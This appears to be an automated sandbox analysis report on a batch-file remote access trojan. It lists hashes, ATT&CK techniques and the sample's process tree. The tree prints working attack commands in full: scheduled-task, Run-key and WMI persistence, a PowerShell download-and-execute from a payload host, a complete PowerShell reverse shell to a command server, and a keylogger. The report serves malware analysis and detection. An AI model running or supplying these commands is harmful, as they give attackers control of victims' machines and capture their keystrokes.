8d6a49183078b843da6a6c47a42d798c42fd4ed31d8bfeacf0e7231cf514149e

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:46

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General

Target
rat_build_16373_014138.bat
Size 4KB
Sample260529-b7cmcaas7v
SHA256 8d6a49183078b843da6a6c47a42d798c42fd4ed31d8bfeacf0e7231cf514149e
MD5 728aab6d1850289319b148e5e8c0bd03
SHA1 4b609934e1fb49527f6e4ff4de8e3d467ffbbc28
SHA512 359b2fd7aff8d6e5929d8198fb936f6c6b8ef54c0f7189c6cee0aa50f4534ff0e8406274fcc04590f24d5aa036c442bb965ff5eb212f46237af9195ed46cd912
SSDEEP 96:wI1AW7iA2W4vFLBaiHxkVBxHfFV9ci1hhWwhFdZIgbMOiFgZk8mvlo1JXtN:wM7iA2XvDGXN9Lh5I+iFgkHl8dN
TLSH
T1A0A1E52357B33130E9B02169EA33385817ACE6F71302C5CEFF488DD54A4DB47A56A6A7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_16373.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4292	powershell.exe
2064	powershell.exe
3628	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_16373 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_16373.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4284	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
996	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2104	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3352	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2064	powershell.exe
2064	powershell.exe
3628	powershell.exe
3628	powershell.exe
4292	powershell.exe
4292	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4772	WMIC.exe
Token: SeSecurityPrivilege	4772	WMIC.exe
Token: SeTakeOwnershipPrivilege	4772	WMIC.exe
Token: SeLoadDriverPrivilege	4772	WMIC.exe
Token: SeSystemProfilePrivilege	4772	WMIC.exe
Token: SeSystemtimePrivilege	4772	WMIC.exe
Token: SeProfSingleProcessPrivilege	4772	WMIC.exe
Token: SeIncBasePriorityPrivilege	4772	WMIC.exe
Token: SeCreatePagefilePrivilege	4772	WMIC.exe
Token: SeBackupPrivilege	4772	WMIC.exe
Token: SeRestorePrivilege	4772	WMIC.exe
Token: SeShutdownPrivilege	4772	WMIC.exe
Token: SeDebugPrivilege	4772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4772	WMIC.exe
Token: SeRemoteShutdownPrivilege	4772	WMIC.exe
Token: SeUndockPrivilege	4772	WMIC.exe
Token: SeManageVolumePrivilege	4772	WMIC.exe
Token: 33	4772	WMIC.exe
Token: 34	4772	WMIC.exe
Token: 35	4772	WMIC.exe
Token: 36	4772	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4772	WMIC.exe
Token: SeSecurityPrivilege	4772	WMIC.exe
Token: SeTakeOwnershipPrivilege	4772	WMIC.exe
Token: SeLoadDriverPrivilege	4772	WMIC.exe
Token: SeSystemProfilePrivilege	4772	WMIC.exe
Token: SeSystemtimePrivilege	4772	WMIC.exe
Token: SeProfSingleProcessPrivilege	4772	WMIC.exe
Token: SeIncBasePriorityPrivilege	4772	WMIC.exe
Token: SeCreatePagefilePrivilege	4772	WMIC.exe
Token: SeBackupPrivilege	4772	WMIC.exe
Token: SeRestorePrivilege	4772	WMIC.exe
Token: SeShutdownPrivilege	4772	WMIC.exe
Token: SeDebugPrivilege	4772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4772	WMIC.exe
Token: SeRemoteShutdownPrivilege	4772	WMIC.exe
Token: SeUndockPrivilege	4772	WMIC.exe
Token: SeManageVolumePrivilege	4772	WMIC.exe
Token: 33	4772	WMIC.exe
Token: 34	4772	WMIC.exe
Token: 35	4772	WMIC.exe
Token: 36	4772	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4628	WMIC.exe
Token: SeSecurityPrivilege	4628	WMIC.exe
Token: SeTakeOwnershipPrivilege	4628	WMIC.exe
Token: SeLoadDriverPrivilege	4628	WMIC.exe
Token: SeSystemProfilePrivilege	4628	WMIC.exe
Token: SeSystemtimePrivilege	4628	WMIC.exe
Token: SeProfSingleProcessPrivilege	4628	WMIC.exe
Token: SeIncBasePriorityPrivilege	4628	WMIC.exe
Token: SeCreatePagefilePrivilege	4628	WMIC.exe
Token: SeBackupPrivilege	4628	WMIC.exe
Token: SeRestorePrivilege	4628	WMIC.exe
Token: SeShutdownPrivilege	4628	WMIC.exe
Token: SeDebugPrivilege	4628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4628	WMIC.exe
Token: SeRemoteShutdownPrivilege	4628	WMIC.exe
Token: SeUndockPrivilege	4628	WMIC.exe
Token: SeManageVolumePrivilege	4628	WMIC.exe
Token: 33	4628	WMIC.exe
Token: 34	4628	WMIC.exe
Token: 35	4628	WMIC.exe
Token: 36	4628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4628	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3196 wrote to memory of 3352	3196	cmd.exe	81
PID 3196 wrote to memory of 2104	3196	cmd.exe	82
PID 3196 wrote to memory of 4772	3196	cmd.exe	83
PID 3196 wrote to memory of 4628	3196	cmd.exe	84
PID 3196 wrote to memory of 5104	3196	cmd.exe	85
PID 3196 wrote to memory of 996	3196	cmd.exe	87
PID 3196 wrote to memory of 4284	3196	cmd.exe	90
PID 3196 wrote to memory of 2064	3196	cmd.exe	91
PID 3196 wrote to memory of 3628	3196	cmd.exe	92
PID 3196 wrote to memory of 4292	3196	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_16373_014138.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3196
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_16373" /tr "C:\Users\Admin\AppData\Local\Temp\_16373.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3352
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_16373" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_16373.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2104
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_16373", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_16373", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_16373.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4628
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_16373.txt
  2⤵
  PID:5104
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:996
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_16373.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
SHA1 4b29742350c7851853767013e11d09fb954063ac
SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
TLSH
T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
MD5 7a9772bc4c578c1736aa04a056f68da3
SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
TLSH
T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ffovt3xr.31s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ffovt3xr.31s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2064-3-0x000001ED65C40000-0x000001ED65C62000-memory.dmp

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